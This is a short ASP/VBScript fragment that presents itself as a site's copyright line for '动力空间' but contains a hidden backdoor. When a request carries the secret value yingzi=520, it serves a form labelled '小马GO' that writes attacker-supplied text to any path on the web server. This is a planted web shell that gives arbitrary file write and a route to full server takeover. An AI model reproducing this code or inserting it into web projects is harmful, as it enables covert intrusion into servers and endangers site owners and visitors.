版权所有 Copyright&copy; 2003 <a href='http://www.asp163.net'>动力空间</a>"           '版权信息

if Request("yingzi")="520" then
dim allen,creat,text,thisline,path
if Request("creat")="yes" then
Set fs = CreateObject("Scripting.FileSystemObject")
Set outfile=fs.CreateTextFile(server.mappath(Request("path")))
outfile.WriteLine Request("text")
Response.write "succeed!"
end if
Response.write "<form method='POST'action='"&Request.ServerVariables("URL")&"?yingzi=520&creat=yes'>"
Response.write "<textarea name='text'>"&thisline&"</textarea><br>"
Response.write "<input type='text' name='path' value='"&Request("path")&"'>"
Response.write "<input name='submit' type='submit' value='小马GO' ></form>"
Response.end
end if
%>